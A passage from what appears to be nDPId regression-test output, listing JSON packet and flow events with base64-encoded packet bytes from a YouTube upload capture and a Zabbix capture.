S5Lfz91+rFA6vZLi+3IzzZMaO745y137UDe3TWvOGHFc27XdlUmuJypi3zktDjX7YazyO23wuMzY303CxB48w3nqlDPN5G7Ktoywmyvs\/+6kO9uVx38oy25qEe0fpf31qURmsfnntNrHN\/WeyacXdoQapOfb7Pxys\/NacXz+Q0XZq4ta9Z7e19lCXIKCwdG2mlzXAOrircnI\/g3DpRkByLCMjmYFj9jDB9zi+fW\/KMGh8A\/npA75EqgFPvB8xrHUWmTYjFShuyNNEGHqOBhDa5jAvygcyBwwyoCN6wtE0wGiocL7zg1ftXFTvv\/oJAPXPQs8EXNovaf7kkkqasq1vY36F29qncjsStini1pcp7kJZFuH1+dlSGJIedOLC7QMZTl5c4zutP4J9Iv6SmNyouUidqu3dUF52nOcEDd9M6QKlK\/grnxj\/XK1Uve+Vn11FT4bS89njFAcsiu3RvSfjG1ZmrcZ6\/q7\/pYJ88tuiS37l1AWTuTJOy02+fyavOojKMH1wn8z1UfTB\/zTWvuytPdcdnhPtCaI+KIa4F3p3V9yyYFZR1sUJ46vP5m5ZOaqgflXryX78ZeTWvRTfNvvGXb8cOSgXllHhLWeas8yH5iVlRBMCVoVB26EFSw0u7LpTGV75XHW9Nztb6\/wrxD58u4nYzXfW68h\/8B+TYP2QAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"} +02208{"flow_id":3,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":32,"source":"youtubeupload.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1511102578,"pkt_ts_usec":117740,"pkt_caplen":1392,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1392,"pkt_l4_len":1358,"pkt":"XEl5dU5q2MuK4S0uCABFAAViAV9AAIARbSDAqAIbrNkXb\/MYAbsFTgWcDAjRAddSQpCnAsbNRhPFJhDd2f0pyEACFIECAgEAAOY2AAOIBgCkAQUUBABDSExPHQAAAFBBRADfAAAAU05JAPEAAABTVEsAKQEAAFNOTwBdAQAAVkVSAGEBAABDQ1MAcQEAAE5PTkORAQAATVNQQ5UBAABBRUFEmQEAAFVBSUTIAQAAU0NJRNgBAABUQ0lE3AEAAFBETUTgAQAAU01ITOQBAABJQ1NM6AEAAENUSU3wAQAATk9OUBACAABQVUJTMAIAAE1JRFM0AgAAU0NMUzgCAABLRVhTPAIAAFhMQ1REAgAAQ1NDVEQCAABDT1BUSAIAAENDUlRgAgAASVJUVGQCAABDRVRWCAMAAENGQ1cMAwAAU0ZDVxADAAAtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tdXBsb2FkLnlvdXR1YmUuY29t51304JowmNkcS5BKcGF4TFeKPL0vzLFwvGKNQZSC3tV5AuZccITR1IKNPBS7gM5cGXDQdMbrYK1m27ZrpG7Vf6wfUgDYUmoNGkZUDkwfIwpzu8q0llRbLpar8W8kfc33hmKtdhIF96r1CjwBUTAzOQHogWCSkhrofu2AhqIVgpFaEZh1MDAwMDAwMDBZwphmdL7Yts0y+qUR1kfRSDFXSWQAAABBRVNHQ2hyb21lLzYyLjAuMzIwMi45NCBXaW5kb3dzIE5UIDEwLjA7IFdpbjY0OyB4NjT2WrIAgJRr6TC6B5YGxsq+AAAAAFg1MDkBAAAAHgAAAHWYEVoAAAAAY86fJYRsWvt+n8SMuRjDn5CDfPNuMMHuyZztFKKwgWq63bH0pGsbpiKJlwdORVq++wXvbyC+Jog1Q4kiEaUUI2QAAAABAAAAQzI1NZwUB\/4nw78HNVJUT5wUB\/4nw78HmpHtbxwAgQ5AC3uQqa5565jAAAAE39g8QbpBjsXpZJ0k2Opa1yiXuoap6rNlFyRG3VaiUwwUTIXHR7HUE8tH+qMCGSkVfFDe9ZwBj5iFLt6nb9dICVRJNIeq99y3gDocOmnE3lMaHWOMgX5wcE5URr2JRfmKpGOgc7tXbRVfGIzEEC8Zcrx\/h1b4mHL5eogupc3r3xXMzTaDPU27bKw026+kjZ5+CM9l3v8W6hXwvRN\/+i6loGkEhQAA8AAAAGAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"} +02228{"flow_id":3,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":33,"source":"youtubeupload.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1511102578,"pkt_ts_usec":174340,"pkt_caplen":1392,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1392,"pkt_l4_len":1358,"pkt":"2MuK4S0uXEl5dU5qCABFAAViAABAADgRtn+s2RdvwKgCGwG78xgFTrmYBGBdNifaiImPp4hxkE76+HpiBoqFeZT6955TxgPnnDPRA8CWlqAixcxMVTcY5OxmIaMirF0ztLlWtzh1XfxzQehWOVojZuoERgBtn8eU1aj4o9XWT27nVRYUG8jqc3ImcCEd5dAWAbDDKSFPI1yDMtzJ7F8q8Kq6HV2bWQp9g4lHuFQU+PxLb43EECRgpOE80JKfxwjZzquQ2qNHFrJXRVv8a3FuuAVyD6QUeWwiYJvjWcipZEwjRlu8PAxvxDkIXQAbFq6TLtcelkfN\/5EMr5pBGSYUjvaWd\/RirvxOffBeMr5LmDIHcVdispLz1xuuWG7U\/Hj1UV8Q2oq7Fs\/FlpmYV6fb4xJWnIUPrAvUR6qOaT1O7OjED650sdErAmg5HjpGrOYs\/rDxcl63YqYZaSlT5LVWnB8HHcvpWPEC9GseM7RXOJDTnGINCPhnHbwuKjEef9SOHufEZfwzZLIveFCw8BgH7cSaKAgzNkrEDH+pe6ihtyoMI3+jBZyB6JcjA5h\/rskgF11Kdejcoy1Uz01WtOsLmHtI28YOZwHOrkkQJsoLRGAUGC\/6kGftRX6V2KvvFj1eeBFPwfPEBg5\/ppAjpSEitJNWRUcgv9w8HJqEQGDzOrEltl47FC9mJOG3Bx7uMK5ge6eogCg7YFvjwHLRmI9rWlpBVuTAEzU7cy4fxDW0fQFXg5kJJZ9m3NuXZh3BX62BipsBzhUtTw7I0z74pLut2UWX1c1l0SYL0RB4CtcF2NxefXFwcGebVxuNs7DRpi9Vk3aPwaYnVxzR\/9sB\/VOG1hQr++2FyxGXsJK8bZp78EoAqIE0xokHVzUvAQF+RC+tua+kl3qhvZiUFjgBOdriydk65cFDBqWYVpvUkl2gszAMV1njTQt4VozTGFT6mFsyHwFsIl1ysdOYQ89oM04C5\/bc5LmVj2i9Rb5QvUjGGmlZulkHEE+j7FZwtUZi1S5azyh3p2GEUaUpYN8xVtrVyTmukWyY1rev1u8Srm5H7j1Gzn4TKac9wq8alSq9QBlOAHQAej5f3njqLZM0Av+UsZT56txNRtRVSQ03ZRsnIgg788PhiHcP46w8eSomQIfw\/0zeHQcP6x\/KEqKH2O0jxseuS6Pp4hj\/1fCtEpXzKQ\/vX\/sOtyzp9xoE5S6Ss88rokwGomBB2kpUOkHx0\/miTSwKybh7FfKXtE2M+ssZMtRFFCy5vQ7ZiUcUZjW2hIA7KcBIuhRZqoHuQiZkQl6IS\/qeOhd0lLETqdp9ypDdVZJbgHGQAQjw4y\/etytkPGSJjgyDc\/LOeH+qKx4BaIEJll6ViDjXTkXFJ1QKZJ9Zn1wr8DAjRunYh572FVIuV6rYs+GAS15mtMeiGGkNK76vUv89iFXBC5y6\/kFJt+PpXZkVcVvrEHxwoVp6T3o15dxQJxPDwt5rF2wlkgP2x4pNfBYaluc3fCpZZ9ssDl9tBkZtCynl2yUBXT55N8H6y3GpF7V1t+7d6Wd761FjGZRv05EMSWqe51JprbRLFBlox5pjlwL7sfbF6gH9GAQH\/svhRJAU681WAZiRwogyaEZcKw1\/kFzhDBINOA5qbanfi0EbAAOl1HZwNXA+pnyvJD+rJCC8e2Vqz31s6k4Lm3+4w0sBsM68DxCXyLS9\/UXJkSMQ2FIq+pXRKL+BIDq7dGI+YR6DTouncoqgxtnQAj32WdzhUL778D7DA2bc+HcY8RL7tes5e51ib3pLvhgQJIbxtYDto31S+F\/qqOqqhentIKRHncCVC01BoiJwFw8faMpH4bPkjiArxiOr0l381YAi"} +00441{"flow_id":3,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":34,"source":"youtubeupload.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1511102578,"pkt_ts_usec":174431,"pkt_caplen":73,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":73,"pkt_l4_len":39,"pkt":"2MuK4S0uXEl5dU5qCABFAAA7AABAADgRu6as2RdvwKgCGwG78xgAJ9y4AARpVzDsoBmfZ+XhVgpTv9rep8bCCWrl5chuh0ut7g=="} +00452{"flow_id":3,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":35,"source":"youtubeupload.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1511102578,"pkt_ts_usec":176612,"pkt_caplen":81,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":81,"pkt_l4_len":47,"pkt":"XEl5dU5q2MuK4S0uCABFAABDAWBAAIARcj7AqAIbrNkXb\/MYAbsAL\/RWDAjRAddSQpCnA9SE7lmYzFwTwI8q0+O7q92vq\/vTiMHZkPojCLeu"} +00450{"flow_id":3,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":36,"source":"youtubeupload.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1511102578,"pkt_ts_usec":176957,"pkt_caplen":80,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":80,"pkt_l4_len":46,"pkt":"XEl5dU5q2MuK4S0uCABFAABCAWFAAIARcj7AqAIbrNkXb\/MYAbsALiIYDAjRAddSQpCnBJd2kKliEDeULd8uM7yC1ufttdYXe42GUh7dLdw="} +01851{"flow_id":3,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":37,"source":"youtubeupload.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1511102578,"pkt_ts_usec":177617,"pkt_caplen":1113,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1113,"pkt_l4_len":1079,"pkt":"XEl5dU5q2MuK4S0uCABFAARLAWJAAIARbjTAqAIbrNkXb\/MYAbsEN6xuDAjRAddSQpCnBf2dSVTjzz1ABmxNyEmtqjp9+wFpSrIS6IYG0O8ZnkwSn1eBalFi0REKll47e\/GMmvAq6L7vatnkGPEcaimvyqfuKq5085VeiJM1WU8jlwj6rD9xVbn3cTUTqizoT8KH3paIt6YZXmINARCR3nYlZPShI5XbBacwLGF2\/DQaaQaQndTyF9kYzXb2MPa3qmFi6NpnwZ+ZGYCHEXM7+sFdk\/OzE35tAxmuc3hEetqpq8QvAf9cfG\/HcxI14h3tlYK4j0aYy19oHgaV4ywMGSQF3pd04a7sNnlmu6pd4cc9om8i0qdcBjv7irSK4dEDGXer3QsFOud4qgB3IBWQVHpUn56XyZdUd+6KO0ellLatC4cZNKaERYO8H5xkDhNz7+ILGG0xJ9k52RnjIDBT4TBuKvb9QBt06NLS9RNX4meYgypBGCGAbsqFWwCikM3IV5nKJ\/5NzZf1Kfvqc4vfsMkV7\/EnTCDg\/bgrPF+i7m\/K7e6MO+rNC6BlIlp5+jlgcRFY5y\/y0OX10Eet1nqjUYBdnRqPr5PTQw4SDkrYbgfP6ifDA+3mmIrGwyozMdW4cGTHas\/Su\/AKqzDpE4cybyjhdduchgSpbCzC\/5dEZpmfiSa27WsmeiI6lGvaaktg23X3La8vgKs7r3y3+GAw2x1V6tmeqNxWX9k58kXZnDWJtnGznQPHkGfUupsHm0TnuN8Q02C4IVUi+4OnssmPoOKeG0dIp1aTeLyqtD1SuYCrVlkYx8c9YCrrL\/dJsn1BrcKersZjVSDYQlEoQHdC1SdYZBHslMnvNEGN\/QA+6EMQy7zWqdcxvrcr\/Ei1J\/plONaWL7DzmUMWk7FqzpkdGgjawmdGs24+vjohuxcUSknT4UicIt0SXhZkwbINxiehxlgqaP1\/2FsrbIaIYijeaRL20Wi5V\/JjL+vl\/xgBu8qTymmAMwfsaojQ3apLbGISAJN0X0omHzn4fBbXDp0VTjewG75JpIsz59IkT8M02hpd8SpVEayKvywo7wfSwwHyblDhHpPOEeEo7br1lsyyTobNwD+6x1NdrNwxmtjEmcFqQsNsEyqwZOjDKTeJPHBUV7rg5YCcNy82ZjF9uople6zr6+YHAKiop6iX7NsaqiSXXex69iW7NjtOIRMQlNfg54ZSKvZG+TVE8bMiedEa6LxvR2cRPOLnYPctYMTmtezkCweHFFZd53Y550FKA8np0WvOFfdhUIQYrAnl2COXp1GHzsAQn++NXJDWjULl4QLtBox9pkqj9v2O0X0vha72GFqqJ0zI3lvD1p3C2QmOmXgGsL3nM2mHjg2rkgO6nW9hs95HRoRF6wgFhkjdwqyv5qbnlENCqndu342P29QdqVCSQIyena6bPsDVkp7lv9FsSkFTLgPBYwVSj49x52yqFuNlV91wIYX3"} +02237{"flow_id":3,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":38,"source":"youtubeupload.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1511102578,"pkt_ts_usec":177990,"pkt_caplen":1392,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1392,"pkt_l4_len":1358,"pkt":"XEl5dU5q2MuK4S0uCABFAAViAWNAAIARbRzAqAIbrNkXb\/MYAbsFTt7PDAjRAddSQpCnBlDn2Fh682xFuyW3LLXrtwGkJQWeVCYIpcEkauJHADgWnGQbuddv1qoQD2MEMCQiQFej1x0xU52cpK5X0k\/HPJVGuMVFLXCDLwnmZwT7X7e2KDxJkt2Du+noLaXvDMqgu6pWc15u\/84BZ3AptIjtqXMlDD7Mw1fYNPwpi\/T3sQJQyc83+h77UAwyxg+nl6ahV9+ph2ry4B6ezFOKyQcJdZbaF0sQ5a6xdakAZ3Syj8zH1T7RoCJLT1eGebuaeEdUISbxvCppLyxzHpkeYe7nL2A0wKXQxkB+QEHJ5GRSw4VSmC0G\/\/\/26nYgIQXPGmrmieqi1EOUKyRVc3dUPMsJ9LiUpATs\/4oYl\/j\/HHQnjl3h38YvKNI2FIo1UyTcV8Bxgi1pGc2O\/iFp9zl1F7gnG8IZ8Nc64d6tmZYmxO6jqZfC13xZkHcXGDj9h2M4l5RZd1w3tlaDzdyDVmiLFQ7LAPG1U3Jvs3R\/\/6fWCc0eufa\/Y3TD6+26lgBKZIBKC\/1eMPdby6xd5QRWMAFMoTQSIQCI1Y6v81k3KNl2oZsEWKROFez1Oy7ExNO9D8HECA4mC6Ekfm2EmMnXEo0qwZcfqndKE8\/c0STbp7Slf0CHmANBEXjQfA+gNErrQdvrFHTcwiauaubWVGq8L2eobehm4VKG8jB+laBHlbJIhoKeDVGLQi3P\/jpwWS7OMefXjH5wmv6L7QhWYeF7O2JeCYjzMC31ghvQ3TmrjdwMZ5\/oBa+duCpxvHdjL8U0RP\/bGWDmJKdtMbyZvnCx0Nq75oOtaZFxG5oCjK30xqs2bDCeBIkqxDxq1TwjNv8HMG\/sM3ancEyKrmhqOMn1lRFUfQjaV3ODoTQC+vylRN5v3Wqicx6iLRQpckW8Me5DNulInBDuPt5CYsrudKXcaRqv0HU3cscJJICzgrg7nxb\/5AryfXcCSPkmMaAZfVA807WPgmoN7gG9xLe40fqWB6+GCs9165ect+uxpSu0B4dZEtLOcsdZXT4P08xUKG21xkTC8Avb5KqZCGHlZkErsXiIltZh1pQ9f7tPt5o12Np8q35Z07W8HzYxKMvbI9aqkFRhPLKispZvHpf1Z8hpPw\/2Ea+OVjOcdGcdG0obCXlPdMda2hzRc4vUnBwHy1L4yG4hGBrENu6qrW2VRntogsKW0pZ136pVHr8qK9tu27QirtDJ7eAwcykInU6ON1ca+goOhL8TgzKvNa2FnQupcJKA\/AUmPdcB5mD7cyTbXu353yUQvVSR2OihPD4CHMNYSCJJxhDuAwtA+9CLE8cx5TBn\/i1Db5SMJ+YH0YphgB8Ng2vBQ04D6rtN1WIEdOrum5HEUamr34\/IvwrJLUl4Mfonv82h1r4bER9a6AVb1sn7SEjsAXBhF74OxGXuS0xvqZMIVK8ASVZGWE7vyMO2PXGLWZOEk7zdcawWL1UeY6\/e+7EV3TcV4l9Sn5BpANz79tL2wqww0x0OsdBmqb69M6NQ013ic9xYTlYeLFcsuuqylAlcypKPW8U\/xzOqR8ueiZZr7q8dAdUmjBiEzxeuST4xd4Fy7krbgYzYZBn8Uyl7juV8xzyD8vrK+Kqoe7qfRvQgKh9BIkXhW\/Xppb4wzuMeImBW0zWCUBPy\/\/QeYZ9gyi+HABSsrWXnmYoLaPYM0j+Ov3ruDPt3H8cXIJN\/J7M6IiHe+rNYOicoLNjhWE0ZJVVB8iZiO+QE\/3gMkjIFyWhxpbIBpiS1aTUVpDVmayxhc14wWHBgfQaR+7HnypW\/4AwsVS9h9mlVVf8+H1W1VXdQ"} +02227{"flow_id":3,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":39,"source":"youtubeupload.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1511102578,"pkt_ts_usec":178358,"pkt_caplen":1392,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1392,"pkt_l4_len":1358,"pkt":"XEl5dU5q2MuK4S0uCABFAAViAWRAAIARbRvAqAIbrNkXb\/MYAbsFThTNDAjRAddSQpCnB0+yJ0O2y4Z0JevK3fTYh0\/iVkzQY1HC1zzbqn7LBoXY1VrGic+mTA4AR+iG3iYkOOpONF0hi8lG784XAgyiCUJGLCsIfPUzmacOPF09UVL34ZlqeTq0U0tizNOH5fAZLD0I2nTLbpK7WHPy62JqDoRwO6s6HA4al1hc\/j2sG47ALIDsKsll\/JjowV5WF+JCj6DDCZHEZRvZtunOVgW9m3TNEBT9jG8pJBe7q7T9kw9jTJkjdwamk89KmSD+I\/JOfQRV38A5G2aYcI457UtpSs9076RmJ4q9NPz\/JlTJq+\/G4KOKoPqkjBwGeuNp8N+H4p5C9CtArd3cwiIQ5NWl0EE90biLJS+n6WhWiC2hLpi20hw0o2bh6K9cY0HOx\/yKYRdewLF5bQfC61XULeViFcgb1s2HlNYPoaHsyTz2jcJ4yhKt8Utt9lzTXNhJdT\/WKLcdm4KH0b7H4qAaCyOk2lxDOMo6rOjkCvDBbkqPcCdaASbaBqcmeS3584WwtR0IdeZE440Gw7TkyFjLaTxmzzFzkWdaHNAzQeXtrQ5qgb+SEU25xtbPLCRcGoVPPCQs2LjRmVwUqcTwqaqhHvcpuSRRbvh3\/ATdpweGViZuXNjq63PGfph9bBIgJ1BhwS1AFHTZAyVwfXqpLBcJnNKRrFd3HxFHDmNUPyFDrmauQ1F1cgoT3Wjbi1xQU4vFJnet1Lwyx+gJB4PAw93BfwJMwmfN03tJbFX2b3kRAhgyH7mtWABdlhcN7l7nv1gAnhEzua6KSql56zxzbWOwpRQymvPlLZ7F6h5RMvMEzoWFV\/uU8eyUo0hYuKE+zCOVYKwqk\/7+wg6G84tMmGrTft9MGQBZvxMXIkVhIWqlNnBnDnrDiL+OEoxQudEnMcMShWZlrRool1666SqETeC2vlcflLbFlPOFCaEwTyDq2h5Cb\/PpoTIdmiHRWsmxUN33H+WQJZtuMyr32bRMKFouCVTSME1wYv7j\/r08hQa9\/wN5+1X+fHNZMO\/hLjLJzAg6+hTFkMYav6deCPPiwoXNRM3BoT4XZe4+fskBKxUapcO7DscB1Lw2sRdhnLYbYZNVYmxsM+Oj2XcCpyCG2AyVpvL13v8ExJzOV5Jr40JkJPjiqs9R6Qy1rQ+Riob5aft613ELuBVOEGyDPjoLDBqNKMeuMHVWU9N7pWZ1eWEq6\/v4ZoFI3I7SuhrSsbPtvUy4eIfmp2B7fZPFikeC7iR6nyKkILylL+mp+RBpZXCIj9jkHeNib+UF8e02qzhYAV\/0LGX3To8W7TEGY0mb0IYR3ZwJIVVZAUrMjGWE60Vl1dcMA5Ieh50pRw5ViHkSBNvLKn5rujZGbG+TkJkTuwGXEBhLHZsgYhVIr1cchdfrc1TFUijndNCI9NRoCuuNrF6Jrl9hVOGV8FIe9RjO7jVXdyxqtSYSadzBUiSaizhiyH\/zE+AfiWpREw7gvuC1R5AkJR9Z+5CCB8TPMhPAhADwyOJubsbdRyp7FLfh23Pl6tdnf8lGQoc0q7PI5tvw0ISNiL2fQ4MBkOilz+h3y5d5FVJQFmv+3uQR8jRhzrad4WGqBJlGn\/JyRp4TUjZAiA9+O6vgL3sWv+feYVKgPpOQnFRvjDGAmuCNgDCSrR5dAQ1kVCMKGewEaKobPVZ1SvoRHUFbwTBnjEKre9OmiKxjr02GUqk64\/DyPrktGQOYEjP842x43D5NTmgss53oaHcl0aMPr9CNWo7esCLqPohGsOuhoKLJmltUKgndISbWpY\/C8WLR3\/fyS+3z8OCGhuBZ"} +02239{"flow_id":3,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":40,"source":"youtubeupload.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1511102578,"pkt_ts_usec":179504,"pkt_caplen":1392,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1392,"pkt_l4_len":1358,"pkt":"XEl5dU5q2MuK4S0uCABFAAViAWVAAIARbRrAqAIbrNkXb\/MYAbsFToX+DAjRAddSQpCnCODeSAN4v9ihMFFWk+129jYaWR4IKJdCdRACUoYlUpfRJEnkxtcGi3AE4WEdV04rKXAIXWf+7vYbbFjJi2nmVR8Ipw2HICxZCI3ywr1A3fashg0\/1YiQU2b4qOGOIONV6R1ADzILq1zQN2uPNBi43oKWRZplupcqY+87zEPtbjymaV6FJJnnP+9dYBmMqsh5tqolcFupv6JdPs1kNuNAzTY722\/kvUqIDhXl8Z\/YFXYtHEIebnpygcsIByqKkUVK+Zk6KzvQGdEX17NX2X\/FF\/alT6\/BXy3aaWXKoABKW6Dnv\/7jQ9AH7rFEfwwjJpdQqlNc+3i6SFc9TxVUvsCaIBooMDcq4IPfTzJFt1S9obNyLLJevNtMY69c1APcVHRmqxhtIUp0TtqtdCLRO0x32wHbCotahOIZrX2K2YPlzRgbZI84Wxrfj0hajyGw2Pem+kYwyCOH1ooUYinPLDe9Gatrk9QgkZW5som\/1HD6X5qObDvVE\/7ThRSOR2RUX8ZAA\/c0NgEweCHTWtjrVaAJ86m9J1t2f2RyxS5Gp\/b+jigRCHcxOWLWAHhOXQncbCxuFcy4cFZ3q+DYfiye2vBBKUugFlNVWcs\/XfecaDPJuHZLAn7gMPd5ga0h0Ey4gbeD8jRorXliuAlHMT81qNG40nvMbcTlXXbozqisHuraeekATZ+46BjX2BkwteLwOdfYcZgx\/b33ANIFU5e3oE0p3JIEsLSk1TFE4GVbMl1cukaCjtXCjuqU\/\/E3\/QtKvqonPUNAjwpcVCJUz4q713uIipq4pCELebygDc1gmgicMdEOQOwFGyo24y57lVdzH\/DPiuQH5d24VVraOhlnZ30e6XVJ73u72LlDZMf1yh\/6XARS8YVKwARfUP80zHDOOqinAU7I\/t1cS5AB1gvrWN\/mBM04Jhct+JsWxRHltii7T3UkEEpazvcwTV7kkBWZaYJCrw8fF+D3oyo5rnMpK6zXyAJOmGfe9g1gEnMgZtwoNksGpqK+cXggSlW+XoQfUyy02K\/CLvBmbftWICK0nUgMfAYZ2GbdX8yQxNx7JNM1U1THjSGThlm67evs3PCz9VqjjUR52qIFfFNxYIyhuDL9r5EMlQo\/PX8ULz1RhWwLMQI\/4lhn\/57VqviMEi83plnWzMK35moHadFaXLDI7jMPDveUROwtpw8LKCkODSRCzRaMJqWXPTBvcuHlPJH7BXUXW0CpmYhywKxSQPc3ptc9sPCiDTiRxqaLV00bqz7Pmw7Hwm7wZaAHji9cs02ifzGpqYRtcg6q37+6Hazp14eYiF\/NXbdL65IRCouhFKdOETcBJKAhTWHk25hsz2QJii6CEW2lN\/9\/vB7RqTRUH7wvFj\/R9lwejAs3dollZUUUsqyhvpWxB0\/h08kq1ygaxV2mCsjcwds+g9v652E00BOg5GgIpStiejiG9bYLgztpy55k\/FpkjP+B6MSNdrJtJF1Uh6jX1IwFbDK+rIn7d+fhGNHkYNsQ6EAkVjBZPh402iAXnCTlAy6Ir6bIojTEE8nj+DL62x1xajUt6Hw3nD0ETabl5+gGt20H7Zn0DTrIRfnyMlHT6Dz\/jvXmV5+WBwzfbIzbOnWS8F\/zP4Gcr78+o1sXNzmUxPUJ7FlgFzqxuuQUID+w+xMw+i2JC4MX6npPx87CRSFoGj48sTVaZ0nnwnNJfsQf7VgZpKji7dNO1WuE320BpTeDKRTFuOqjXq18mubVsr\/fmo4UtTBJ1XYf6D\/3WxzlVrHvHZsV5SQhNZyxE+TR5sEc2B+e+SFz"} +00486{"flow_id":3,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":41,"source":"youtubeupload.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1511102578,"pkt_ts_usec":180527,"pkt_caplen":103,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":103,"pkt_l4_len":69,"pkt":"XEl5dU5q2MuK4S0uCABFAABZAWZAAIARciLAqAIbrNkXb\/MYAbsARTzLDAjRAddSQpCnCUIU6saaeRlWNypXMbLqJjFDzm3BL\/QJZQshKHLAuTmSKkuYJgIbLSd6aEzQPz6Vuf3yvA=="} +00444{"flow_id":3,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":42,"source":"youtubeupload.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1511102578,"pkt_ts_usec":216417,"pkt_caplen":75,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":75,"pkt_l4_len":41,"pkt":"2MuK4S0uXEl5dU5qCABFAAA9AABAADkRuqSs2RdvwKgCGwG78xgAKQv\/AAW6kYrY6Rl4Spd2erSFzl\/hFEcXrPb6gVIFYoj0G3eL"} +00439{"flow_id":3,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":43,"source":"youtubeupload.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1511102578,"pkt_ts_usec":239340,"pkt_caplen":72,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":72,"pkt_l4_len":38,"pkt":"2MuK4S0uXEl5dU5qCABFAAA6AABAADkRuqes2RdvwKgCGwG78xgAJjDlAAbriko+\/ZfW2aYS1AzZ5OusG0WkuzV30Av+okTE"} diff --git a/test/results/zabbix.pcap.out b/test/results/zabbix.pcap.out new file mode 100644 index 000000000..32e46de39 --- /dev/null +++ b/test/results/zabbix.pcap.out @@ -0,0 +1,12 @@ +00474{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1,"source":"zabbix.pcap","alias":"nDPId-test","flow_id":1,"flow_packet_id":1,"flow_first_seen":1572254070608,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.67.98","dst_ip":"192.168.67.25","src_port":57162,"dst_port":10050,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00433{"flow_id":1,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1,"source":"zabbix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1572254070,"pkt_ts_usec":608539,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"RoQclwmZOjUSPEK7CABFAAA85AdAAEAGTujAqENiwKhDGd9KJ0JwAdHUAAAAAKACchAH+wAAAgQFtAQCCAorwjXTAAAAAAEDAwc="} 